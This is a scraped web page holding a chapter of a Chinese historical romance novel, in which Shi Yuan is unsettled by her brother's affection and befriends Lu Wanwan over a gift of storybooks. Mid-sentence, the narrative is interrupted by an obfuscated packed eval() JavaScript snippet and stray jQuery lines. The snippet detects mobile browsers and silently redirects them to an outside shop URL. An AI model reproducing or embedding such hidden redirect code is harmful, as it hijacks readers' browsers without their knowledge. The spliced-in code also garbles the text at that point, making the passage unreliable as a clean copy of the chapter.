默认冷灰
24号文字
方正启体

9. 第 9 章

作者:居然是零耶本书字数:K更新时间:
    时愿回到屋中时,眼角仍带着一丝血色,眼神有些愣愣的。


    二哥哥刚才捧着她脸的样子,她从未在姜时远身上看到过这样的表情,那样的眼神,不似对妹妹,更像是……


    时愿攥紧手中的腰带,指尖克制不住的有些颤抖。


    只觉得心惊肉跳,不敢再想下去。


    她揉了揉脸颊,想要抹去脸上阵阵泛起的热意,可指腹刚触到脸,那截然不同的触感,她的手指纤细,指腹柔软,与二哥哥略带薄茧的掌心,微凉的指腹,截然不同。


    时愿猛得收回手,心中如海啸翻涌,她在想什么?


    那是二哥哥,她从小爱之敬之。


    房门忽的被推开,桃桃端着点心走了进来,见着坐在床边的四姑娘还有些疑惑。


    “姑娘,您从二公子那回来了?”桃桃将手中的点心放在桌上,朝面色绯红,呼吸急促的时愿走去。


    姜时愿将腰带往枕下一塞,急急起身,“嗯,我,我量好就回来了,你拿的什么?”


    “时远公子回来时给夫人和姑娘带了点心,原是送到了夫人那,见姑娘不在,就让我给带回来了。”


    时愿拾起一块白如雪的芙蓉酥,送入口中,往日里入口甜蜜可口的芙蓉酥,此刻,却有点尝不出味道。


    “姑娘,您还要去找时远公子吗?”


    “找他做什么?”时愿有些烦躁地将芙蓉酥扔回盘中。


    “您不是要给时远公子绣腰带吗?我离开夫人房中的时候,听到他说要去找二公子切磋下武艺,此刻,应当在二公子房中。”


    桃桃有些奇怪,平日里,这芙蓉酥,四姑娘一人就能吃一盘,每每都贪嘴吃的克化不动,闹肚子痛才算作罢。


    后来,二公子便让下人不许经常买了,二姑娘闹了好一阵子都没能成呢,如今,这芙蓉酥就摆在桌上,姑娘竟然不吃了?


    “姑娘,您,有哪里不舒服吗?”桃桃脸色一变,四姑娘大病初愈,养了半个多月,好不容易才有些起色,可别反复了。


    “没有,我没事。”时愿垂眸不知在想什么,“你去将箱子里那个黑色的荷包拿出来。”


    “是。”


    时愿看着掌心的荷包,这荷包是她之前从姜时远那边抢来的,如今,绣好再送还给他,就当是物归原主了。


    忽的,门外的婢女来报,“四姑娘,陆姑娘又来了,说是想见见姑娘?”


    “又?”时愿有些疑惑,看向桃桃。


    “姑娘病了十几日,陆姑娘每隔两日便来一趟,大包小包的送礼进来,二公子让门房拦下了,说是姑娘未痊愈,不见外客。”


    二哥哥定是觉得她会出事,陆家也脱不了干系,连陆家一起恼上了。


    “快请进来吧。”


    婢女退出去没一会,便带着陆晚晚进来了,身后跟着数十个婢女,一个个身形魁梧,一看便是武婢。


    一进屋,将时愿的屋子围了个满。


    “四姑娘,终于,见着你了,我是来谢谢你那日的救命之恩的。”


    陆晚晚站在房门口,深深屈膝,白皙的脸上隐隐有些紧张。


    但是,口齿清楚流利,与那日船上的口吃胆小截然不同。


    时愿忙上前,将人扶了起来。


    “陆姑娘不用如此客气,没让那有贼心之人得逞就好。”时愿将人带进了屋。


    时愿细细扫过面前的陆晚晚,那日在船上初见时,她脸色苍白,浑身僵硬,说话也有些口吃,在船舱时,兵荒马乱,她也未多注意。


    今日再见,虽然皮肤还是白皙,但是整个人鲜明从容,与那日在船上,判若两人。


    “你?”时愿有些忍不住,欲开口问,又有些不好意思。


    “姜四姑娘定是想问我怎么不口吃了?”陆晚晚掩唇笑了出来,眉眼间的笑意,让她整个人更为鲜亮。


    时愿脸上有些发热,“你是装的?”


    “说来也不怕姜姑娘笑话,我从小便不爱出门,一遇到陌生人或去陌生的地方便紧张的很,一紧张,手脚僵硬,说话结巴。”陆晚晚说着,略略靠近时愿,“可那日在船上初见姜四姑娘,我便觉得安心得很,所以才多次拜访想要求见,可每次都被挡在门外。”


    不待时愿回答,陆晚晚朝身后的婢女挥了挥手,“你们将东西放下,出去吧。”


    时愿见堆叠起来的箱子,连连摆手,“陆姑娘你这未免太多了些,我怎么受得起!”


    “时愿别急。”陆晚晚拉着时愿的手起身,眸中闪过一抹笑意,“我可以这样叫你吗?”


    “自然可以,那我也便叫你晚晚了。”时愿满脸疑惑地跟着上前。


    陆晚晚连连打开了几个箱子,除了第一箱中摆着些首饰发钗,后面几个箱子中,竟然层层叠叠放满了话本。


    时愿有些愣住,下一瞬间,心中爆发出巨大的惊喜。


    她平日里闲着,最爱的就是看话本,家中的看完了,便去书铺买,书铺的看完了,便让姜时远去搜罗。


    可是,这京中的话本,来来去去便是这样,什么状元与世家嫡女,世子与风尘女子,无甚新意。


    可是,如今,箱中的绘本,琳琅满目,形形色色。


    她激动地有些语无伦次,“晚晚,我,这些,都是给我的?”


    “是啊,这些都是我的私藏,我有好多好多,堆的房间满满当当的,我的嬷嬷为这事,说了我好多次,我听说你也爱看,全给你搬来了!”


    陆晚晚脸上满是骄傲。


    “晚晚,从今日起,你就是我姜时愿的亲妹妹!”时愿紧紧地抱住面前的陆晚晚。


    陆晚晚身量较小瘦弱,被紧紧抱在时愿怀中时,面颊紧紧贴在她胸前,惹的她脸上一阵通红。


    时愿的身量未免也太好了些。


    她是家中独女,父亲常年忙于公务,母亲早逝,下人见了她都是唯唯诺诺的,即使是从小带她的嬷嬷,毕竟亲疏有别。


    她从未知道,一个拥抱竟然是这样温暖柔软的。


    眼中有泪花闪过,她眨了眨眼,“时愿喜欢便好,听说你那日落水后病了好几日,我又一直被拒在门外,可把我担心坏了。”


    时愿松开面前的人,“我好了,早就好了,只是被娘亲拘着不让我出门,日日在家中绣花。”


    时愿拉着晚晚的手亲昵地坐下,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183111|196981||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “晚晚,过几日便是中秋了,我娘答应中秋那晚放我出去看灯会,你与我们同去好吗?”


    “我们?”晚晚有些疑惑。


    “我还有一个二哥哥,和一个弟弟,等中秋那晚,我们去太傅府上接你可好?”


    陆晚晚略一思量,若是平日里,她一个人,定不愿意出门,更别说是这样人潮涌动的街头,她光是想象都觉得紧张。


    可是,面前的时愿盯着她的双眸亮晶晶的,明明与她差不多的年纪,可她看着,心里就是喜欢的很。


    “好,我跟你们一起去。”晚晚轻轻点头,脸上透起一抹羞涩。


    二人商定后,一起走到箱笼边,将箱中的书一本本搬出来,亲手放到时愿的书库,本就满满当当的书房,此刻铺的快满出来。


    二人埋在书堆中,时不时传出清脆的笑声,直至天色渐暗,太傅府的人见姑娘迟迟不归,派人来催了几次,晚晚才依依不舍地回去。


    ***


    若影听完小斯的汇报,摆摆手让人退了下去。


    心中难免有些忐忑,主子向来不喜欢姑娘将心思花在旁人身上。


    “有话就进来说,站在那里做什么?”门后开着的窗户传来姜砚临凌冽的嗓音。


    若影头皮一紧,脸上扯起一抹笑,转身朝内走去。


    屋内一片清凉,已经入了秋,府中其他房中都已经撤冰,主子房中却是除了冬日里,房中总是置冰。


    若影只觉得后脊背一阵寒意,鸡皮疙瘩悄然泛起。


    “主子,刚下人来报,说陆太傅家的大姑娘今日又来找四姑娘,”若影看着眉头微簇的姜砚临,心中有些不安,“原本负责看守门房的那个今日身体不适,临时找了人代,那人不知主子的交代,让人去四姑娘那通传了,陆姑娘来了以后二人关在房中,直到晚膳时分,太傅府派人来唤,陆姑娘才动身回去。”


    “可知,二人在房中做什么?”姜砚临手中的书被随手扔下,语气中带着一丝烦躁。


    “四小姐关着门,只能听到房内不时传来笑声,听不清在说什么。陆姑娘家世简单,想来应是些姑娘家的私房话。”


    姜砚临靠回竹塌,竹塌受力开始前后摇晃起来,发出些细微的声响。


    过了许久。


    “罢了,她喜欢便随她去吧。”姜砚临缓缓闭上眼睛,语气柔软下来,带着一丝无奈。


    “是,那门房的小厮,可要换人?”


    姜砚临身形随着竹塌前后摇摆,松散闲适,可出口的话,却是一片冰凉,“若影,你越来越优柔寡断了。”


    若影心中一颤,忙低头道“是,属下知错。”


    他怎会看到主子对四姑娘心软,便以为能为门户的小厮讨来一个机会。


    在主子这里,只有四姑娘的事,会有特例,其他人,其他人,主子向来不会施舍半分怜悯,甚至包括主子自己。


    主子将自己困在了十几年前,日复一日地沉溺于自苦之中,仿佛唯有如此,才能让自己能够从那阴郁黏腻的过往中求得一丝喘息的机会。


    四姑娘,便是那根紧紧拽住主子的唯一绳索,让他不至于被过往的深渊彻底吞没。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)